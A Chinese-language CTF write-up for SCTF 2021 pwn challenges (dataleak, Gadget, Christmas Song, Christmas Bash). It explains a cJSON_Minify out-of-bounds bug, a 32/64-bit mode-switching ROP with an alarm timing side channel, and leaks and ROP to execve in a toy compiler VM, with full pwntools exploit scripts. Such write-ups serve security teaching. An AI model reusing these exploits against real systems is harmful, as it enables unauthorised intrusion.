[SCTF 2021] pwn部分题解
dataleak
cJSON库里cJSON_Minify函数有个漏洞
void cJSON_Minify(char *json)
{
char *into=json;
while (*json)
{
if (*json==' ') json++;
else if (*json=='\t') json++; /* Whitespace characters. */
else if (*json=='\r') json++;
else if (*json=='\n') json++;
else if (*json=='/' && json[1]=='/') while (*json && *json!='\n') json++;
else if (*json=='/' && json[1]=='*') {while (*json && !(*json=='*' && json[1]=='/')) json++;json+=2;} /* multiline comments. */
else if (*json=='\"'){*into++=*json++;while (*json && *json!='\"'){if (*json=='\\') *into++=*json++;*into++=*json++;}*into++=*json++;}
else *into++=*json++; /* All other characters. */
}
*into=0; /* and null-terminate. */
}
多行注释的处理没考虑注释不闭合,可能造成越界读写
exp:
from pwn import*
p=remote('124.70.202.226',2101)
#p=process('./cJSON_PWN')
context.log_level='debug'
p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('/*'.rjust(0xe,'a')) #'this_is_dat'
a=p.recv(0xb)
print(a)
#gdb.attach(p)
p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('a/*'.ljust(0xe,'a')) #'a_in_server'
b=p.recv(0xb)
print(a+b)
p.interactive()
把栈上存的要你读的数据leak出来,在交互里换flag
Gadget
用纯gadget切换到32位模式绕过沙箱限制打开文件,然后切回64位模式用alarm侧信道爆破flag字符
由于一次可输入的长度不够,这里分成了三段ROP,每段之前先迁移一下栈
exp:
from pwn import *
import time
import sys
import threading
context.arch = "amd64"
#context.log_level = "debug"
flag = {}
lock = threading.Lock()
# addrs
bss = 0x40c000
flag_ch_pos = bss+0x1500
fake_stack = bss+0x1000
fake_stack2 = bss+0x1100
fake_stack3 = bss+0x1200
# gadgets
retfq = 0x4011ec
retf = 0x4011ed
ret = 0x40312c
leave_ret = 0x7ffff7ffde52
pop_rsp_ppp_ret = 0x401730
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbp_ret = 0x401102
pop_rax_ret = 0x401001
pop_rcx_ret = 0x40117b
pop_rbx_ppp_ret = 0x403072
int_0x80_ret = 0x4011f3
syscall_ret = 0x408865
read_0xc0_gadget = 0x401170
push_rsi_ret = 0x4011c5
int3 = 0x4011eb
alarm_gadget = 0x40115D
'''
.text:000000000040115D mov eax, 25h
.text:0000000000401162 mov edi, [rbp-8] ; seconds
.text:0000000000401165 syscall ; LINUX - sys_alarm
.text:0000000000401167 pop rbp
.text:0000000000401168 retn
'''
def exp(curr_ch):
# 121.37.135.138 2102
#p = process("./gadget")
p = remote("121.37.135.138", 2102)
#gdb.attach(p, "b *0x40119a\nc\n")
offset = 0x38
move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget)
#move_stack_payload += p64(leave_ret) # start part1
move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1
p.send(move_stack_payload)
# part 1
time.sleep(1)
bss_payload = b"./flag\x00\x00" # new rbp
bss_payload += p64(0)*2
bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86
bss_payload += p32(pop_rax_ret) + p32(5) # control eax to SYS_open
bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3
bss_payload += p32(pop_rcx_ret) + p32(0)
bss_payload += p32(int_0x80_ret) # do SYS_open
bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64
bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2
bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2) # start part2
#print("len(bss_payload):", hex(len(bss_payload)))
p.send(bss_payload)
# part2
time.sleep(1)
bss_payload2 = p64(0xdeadbeef) # new rbp
bss_payload2 += p64(0)*2
bss_payload2 += p64(pop_rax_ret) + p64(0) # control rax to SYS_read
bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef) # fd
bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2
bss_payload2 += p64(syscall_ret) # do SYS_read
bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits
bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3
bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3) # start part3
#print("len(bss_payload2):", hex(len(bss_payload2)))
p.send(bss_payload2)
# rewrite
time.sleep(1)
p.send(b"\x00"*0x7)
#p.send(p64(7))
# part3
time.sleep(1)
bss_payload3 = p64(0xdeadbeef) # new rbp
bss_payload3 += p64(0)*2
bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8)
bss_payload3 += p64(alarm_gadget) # alarm gadget
bss_payload3 += p64(0xdeadbeef) # padding
bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
bss_payload3 += p64(push_rsi_ret) # blocking
#print("len(bss_payload3):", hex(len(bss_payload3)))
p.send(bss_payload3)
start = time.time()
for i in range(1000):
try:
p.send(b"a")
except:
end = time.time()
time_used = int(end-start)
print(f"[ROUND {curr_ch}] Time used:", end-start)
print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})")
lock.acquire()
flag[curr_ch] = chr(time_used)
lock.release()
return
finally:
time.sleep(0.3)
print(f"[ROUND {curr_ch}] ERROR")
p.close()
return
if __name__ == "__main__":
pool = []
for _round in range(33):
th = threading.Thread(target=exp, args=(_round, ))
th.setDaemon = True
pool.append(th)
th.start()
for th in pool:
th.join()
flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])}
print(flag)
flag_str = ""
for k, v in flag.items():
flag_str = flag_str + v
print(flag_str)
Christmas Song
题目给了编译器源代码,./com
目录下有词法和语法定义(lex+yacc)的源文件,从源文件逆出语法;
scanner.l
%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
#include "parser.h"
int line = 1;
%}
%option noyywrap
%%
";" {return NEW_LINE;}
":" {return NEXT;}
"is" {yylval=ast_operator_init('=');return OPERATOR;}
"gift" {return GIFT;}
"reindeer" {return REINDEER;}
"equal to" {yylval=ast_operator_init('?'); return OPERATOR;}
"greater than" {yylval=ast_operator_init('>'); return OPERATOR;}
"if the gift" {return IF;}
"delivering gift" {return DELIVERING;}
"brings back gift" {return BACK;}
"this family wants gift" {return WANT;}
"ok, they should already have a gift;" {return ENDWANT;}
"Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;}
<<EOF>> {return 0;}
[ ] {/* empty */}
[\n] {line++;}
[-+*/] {yylval=ast_operator_init(yytext[0]); return OPERATOR;}
[a-zA-Z]+ {yylval=ast_word_init(yytext); return WORD;}
[0-9]+ {yylval=ast_number_init(yytext); return NUMBER;}
\"([^\"]*)\" {yylval=ast_string_init(yytext); return STRING;}
(#[^#]*#) {/* empty */}
%%
void yyerror(ast_t **modlue,const char *msg) {
printf("\nError at %d: %s\n\t%s\n", line, yytext, msg);
exit(1);
}
parser.y
%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
extern int yylex (void);
void yyerror(ast_t **modlue, const char*);
%}
%parse-param { ast_t **module}
%token GIFT REINDEER DELIVERING BACK STRING
%token WORD NEW_LINE NUMBER OPERATOR
%token AGAIN IF WANT ENDWANT NEXT
%%
proprame : stmts
{$$ = *module = $1;}
;
stmts : stmt
{$$ = ast_init(AST_STMT, 1, $1);}
| stmts stmt
{$$ = ast_add_child($1, $2);}
;
stmt : call_expr
| want_stmt
| var_expr NEW_LINE
{$$ = $1;}
;
want_stmt : WANT WORD lists ENDWANT
{$$ = ast_init(AST_WANT, 2, $2, $3);}
;
lists : list
{$$ = ast_init(AST_LISTS, 1, $1);}
| lists list
{$$ = ast_add_child($1, $2);}
;
list : IF OPERATOR expr NEXT stmts
{$$ = ast_init(AST_LIST, 3, $2, $3, $5);}
| list AGAIN
{$$ = ast_add_child($1, $2);}
call_expr : call_expr BACK WORD NEW_LINE
{$$ = ast_add_child($1, $3);}
| call_expr NEW_LINE
{$$ = $1;}
| REINDEER WORD DELIVERING WORD WORD WORD
{$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);}
;
var_expr : GIFT expr
{$$=$2;}
;
expr : expr OPERATOR expr
{$$=ast_init(AST_EXPR, 3, $1, $2, $3);}
| WORD
{$$=$1;}
| NUMBER
{$$=$1;}
| STRING
{$$=$1;}
;
%%
这个编译器实际上将源文件编译成了一个虚拟指令集构成的二进制文件,使用-r
参数可以放到vm里面运行,检查了一下vm主要利用点在这:
void vm_opcode_call(arg){
char *func = get_word;
u_int64_t arg3 = pop;
u_int64_t arg2 = pop;
u_int64_t arg1 = pop;
u_int64_t ret;
if (is_func("Rudolph")){
// ret = write(arg1, arg2, arg3);
// No talking while singing Christmas Songs
printf("error: \n%s\n", rudolph);
}
if (is_func("Dasher")){
ret = read(arg1, arg2, arg3);
}
if (is_func("Dancer")){
ret = open(arg1, arg2, arg3);
if((int)ret < 0){
printf("error con't open file %s\n", arg1);
exit(EXIT_FAILURE);
}
}
if (is_func("Prancer")){
ret = strncmp(arg1, arg2, arg3);
}
if (is_func("Vixen")){
ret = memcpy(arg1, arg2, arg3);
}
push(ret);
}
- 给了open和read,虽然没给wirte,但是可以从open的参数报错把flag打印出来;
- 构造利用的时候关键点在于leak,观察可以发现
vm_opcode_call
里面的局部变量ret没有初始化,也就是说首次进入vm_opcode_call
只要不触发任何内置函数,就可以把ret的值泄露出来;泄露出来是一个堆上的可写地址,加偏移找一块空地作为BUF; - 往BUF读文件名,然后读FLAG到BUF上,最后通过报错打印即可拿到FLAG
- 1.slang
gift NULL is 0;
gift FD is 0;
gift C is 4096;
gift RN is 32;
gift E is 0;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift BUF is LEAK+12288;
reindeer Dasher delivering gift FD BUF RN;
reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD;
gift FLAGLEN is 30;
reindeer Dasher delivering gift FILEFD BUF FLAGLEN;
reindeer Dancer delivering gift BUF NULL NULL;
- remote.py
from pwn import *
p = remote("124.71.144.133", 2144)
#p = process(["python3", "server.py"])
context.log_level = "debug"
with open("./1.slang", "rb") as f:
p.sendline(f.read())
p.sendline(b"EOF")
pause(1)
p.send(b"/home/ctf/flag\x00")
#p.shutdown("send")
p.interactive()
Christmas Bash
相比于上一题题目恢复了 write
调用:
if (is_func("Rudolph")){
ret = write(arg1, arg2, arg3);
// No talking while singing Christmas Songs
// printf("error: \n%s\n", rudolph);
}
并且预设了一个名为sleep
的变量,该变量保存了sleep函数的地址(位于libc):
gift_t * gift = gift_init("sleep", sleep);
runtime_set_gift(r, gift);
个人的非预期解法:
- 与之前相同,通过未初始化的 ret 泄露出堆地址;借助 sleep 函数可以得到 libc 地址
- 目标是打
vm_lambda_call
的返回地址进行 rop,于是想要泄露environ
- 但是这个语言没有提供解引用的功能,计算出
environ
的地址后不能很方便的把里面的值读到某个变量 - 由于
strncmp
在比较两个不相等字符时会做减法然后返回差值,于是只要用一个空字串和environ
逐字节比较就可以一个一个字节泄露出栈地址 - 泄露出栈地址后计算
vm_lambda_call
的返回地址,这里注意,参数个数不同会导致初始化栈上指针数量不通,从而导致栈偏移不同,写 exp 测试的时候应该按照加了-r
参数的命令行来测试 - 计算各种 gadget 地址并保存到变量,计算出这些变量在堆上的地址(这一步堆布局是动态变化的,和语法树大小有关);将这个地址和目标栈地址放到
memncpy
进行拷贝,布置 ROP 链 - 结束程序前输出一次
"hello"
,这样才能进到第二次执行,在第一次执行的时候输出是被关掉的(两次执行的输入输出都被关掉了,所以EXP没有采用交互方式)
result = subprocess.check_output("/home/ctf/Christmas_Bash -r {} < /dev/null".format(filename), shell=True)
if (result.decode() == "hello"):
socket_print("wow, that looks a bit unusual, I'll try to decompile it and see.")
os.system("/home/ctf/Christmas_Bash -r {} -d {} < /dev/null".format(filename, filename))
else:
socket_print("Hahahahahahahahahahahahaha, indeed, you should also continue to learn Christmas songs!")
clean(filename);
- 最开始做的时候考虑到第一次不能读出flag导致无法进入第二次有输出的执行,于是借助了一个随机地址的字节,通过判断这个字节和
127
的大小关系可以得到一个二分之一的概率,总体而言就有四分之一的概率可以拿到flag(后来发现栈偏移问题后才知道这一步是多余的...一度以为这是考点)
exp.slang
gift NULL is 0;
gift NULSTR is "";
gift STDIN is 0;
gift STDOUT is 1;
gift RN is 32;
gift WNLEAK is 8;
gift CMPLEN is 1;
gift SHIFT is 256;
gift HELLO is "hello";
gift HELLOLEN is 5;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift HEAPBASE is LEAK-1152;
gift BUF is HEAPBASE+12288;
gift LIBCBASE is sleep-972880;
gift EXECVE is LIBCBASE+975632;
gift ENVIRON is LIBCBASE+2232000;
gift TMP is ENVIRON;
gift STACKLEAK is 0;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is BYTELEAK+STACKLEAK*1;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift RANDBYTE is BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256*256;
gift MAINRET is STACKLEAK-1200;
gift MAINRETA is MAINRET+8;
gift MAINRETB is MAINRET+16;
gift MAINRETC is MAINRET+24;
gift MAINRETD is MAINRET+32;
gift MAINRETE is MAINRET+40;
gift MAINRETF is MAINRET+48;
gift POPRDIRET is LIBCBASE+190149;
gift POPRSIRET is LIBCBASE+196737;
gift POPRDXRET is LIBCBASE+1180274;
gift CMD is "/home/ctf/getflag";
gift EXECVEPTR is HEAPBASE+9768;
gift GADGETAPTR is HEAPBASE+10600;
gift GADGETBPTR is HEAPBASE+10600+32;
gift GADGETCPTR is HEAPBASE+10600+64;
gift CMDPTR is HEAPBASE+10696;
reindeer Dasher delivering gift STDIN BUF NULL;
gift AAAA is 0;
gift BBBB is 0;
gift CCCC is 0;
gift DDDD is 0;
gift EEEE is 0;
gift FFFF is 0;
gift GGGG is 0;
this family wants gift AAAA if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRET GADGETAPTR WNLEAK
ok, they should already have a gift;
this family wants gift BBBB if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETA CMDPTR WNLEAK;
ok, they should already have a gift;
this family wants gift CCCC if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETB GADGETBPTR WNLEAK;
ok, they should already have a gift;
this family wants gift DDDD if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETC NULSTR WNLEAK;
ok, they should already have a gift;
this family wants gift EEEE if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETD GADGETCPTR WNLEAK;
ok, they should already have a gift;
this family wants gift FFFF if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETE NULSTR WNLEAK;
ok, they should already have a gift;
this family wants gift GGGG if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETF EXECVEPTR WNLEAK;
ok, they should already have a gift;
reindeer Rudolph delivering gift STDOUT HELLO HELLOLEN;
exp.py
from pwn import *
# context.log_level = "debug"
while True:
p = remote("121.36.254.255", 2155)
p.recvuntil(b"please input your flag url:")
p.sendline(b"http://app.eqqie.cn/3.scom")
p.interactive()